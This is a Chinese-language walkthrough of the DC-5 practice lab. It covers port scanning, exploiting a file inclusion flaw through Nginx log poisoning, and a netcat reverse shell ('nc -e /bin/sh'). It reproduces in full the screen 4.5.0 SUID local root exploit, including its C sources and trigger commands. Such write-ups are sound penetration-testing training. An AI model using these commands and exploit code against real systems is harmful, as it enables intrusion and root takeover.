DC-5
题目描述:
DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it **is** there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will **hopefully** provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.
描述中说到something that changes with a refresh of a page(随着页面刷新而改变的东西),这里我们留意一下。并且靶机只有一个flag
知识点总结:
①端口扫描(熟悉常用的几个端口是哪个服务)
②文件包含漏洞
③利用文件包含写入shell
④screen提权
1.使用命令列出局域网内所有主机
arp-scan -l
获得目标主机IP:192.168.2.118
2.使用nmap扫描目标主机查看开放端口
root@kali:~#nmap -sV -p- 192.168.2.118
参数说明:
-sV 用来扫描目标主机和端口上运行的软件的版本
-p 80 指定80端口
-p- 扫描0-65535全部端口
可以看到开放了80端口,代表有web服务,直接访问
常用端口参考链接
3.访问IP查看web内容
在contact模块发现了留言板的功能,随便输入测试一下
看到请求被提交到了thankyou.php,并且有参数,为GET方式传参。从题目描述中我们也知道提示到了刷新,我们刷新下页面看下
被圈住的地方每当刷新一次都会改变,有此我们可以联想到可能有文件包含漏洞
我们现在先扫一下目录看一下是哪个文件被包含进来
使用DirBuster扫描目录
可以发现有一个footer.php 访问一下正好验证文件包含的漏洞
4.测试文件包含参数
那么我们现在就要确定文件包含的参数是哪一个,一般page ,file,filename用的比较多,我们可以试一下,如果不是我们也可以用kali里边自带的字典进行fuzz
由此,我们可以确定参数为file
我们现在可以对文件进行读取了,但是我们的目的是获取shell,如果只读取文件是无法完成的,我们需要往里边写东西,于是可以想到利用日志文件,将shell写入日志文件 然后进行文件包含
可以看到网站是Nginx的,Nginx 的日志默认路径是
/var/log/nginx/error.log
/var/log/nginx/access.log
我们也可以用过FuzzDB提供的字典进行爆破日志的位置字典链接
有了日志文件位置,接下来就要往日志文件写一句话木马
5.写入一句话木马
?file=
查看日志文件
可以看到一句话木马已经被写进日志文件了
使用蚁剑进行连接
6.我们用nc反弹一个shell到我们的kali机
首先在kali机上nc -nlvp 1234
然后使用 nc -e /bin/sh IP port 来反弹
因为这个shell不是很稳定,我们用python换一个shell
python -c 'import pty; pty.spawn("/bin/bash")'
7.接下来进行提权
首先我们要查找目前用户有什么root权限的命令(下边两行命令都可以查询)
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \ ;
一般可以用来SUID提权的有
Nmap
Vim
find
Bash
More
Less
Nano
cp
但是我们发现可用的里边没有,而且有一个screen-4.5.0的奇怪的东西,百度查看一下可以知道这个命令可以用来提权
我们用searchsploit搜索一下漏洞利用脚本
searchsploit screen 4.5.0
我们用第一个41154.sh
拷贝过来
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
直接上传这个脚本执行不了
查看一下脚本如何利用
cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include
#include
#include
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
第一步
将第一步分的c代码放入libhax.c中 然后进行编译
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
将第二部分c代码放入rootshell.c中进行编译
gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
通过nc将文件传输到目标机的tmp文件夹,因为tmp文件夹的权限一般很大,或者也可以直接用蚁剑传输
kali:
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目标机:
nc 192.168.2.135 1234 > libhax.so
nc 192.168.2.135 1234 > rootshell
第四步
我们按照脚本里边的命令一步一步执行就可以了
$cd /etc
$umask 000
$screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
$screen -ls
$/tmp/rootshell
提权成功
在root目录下找到flag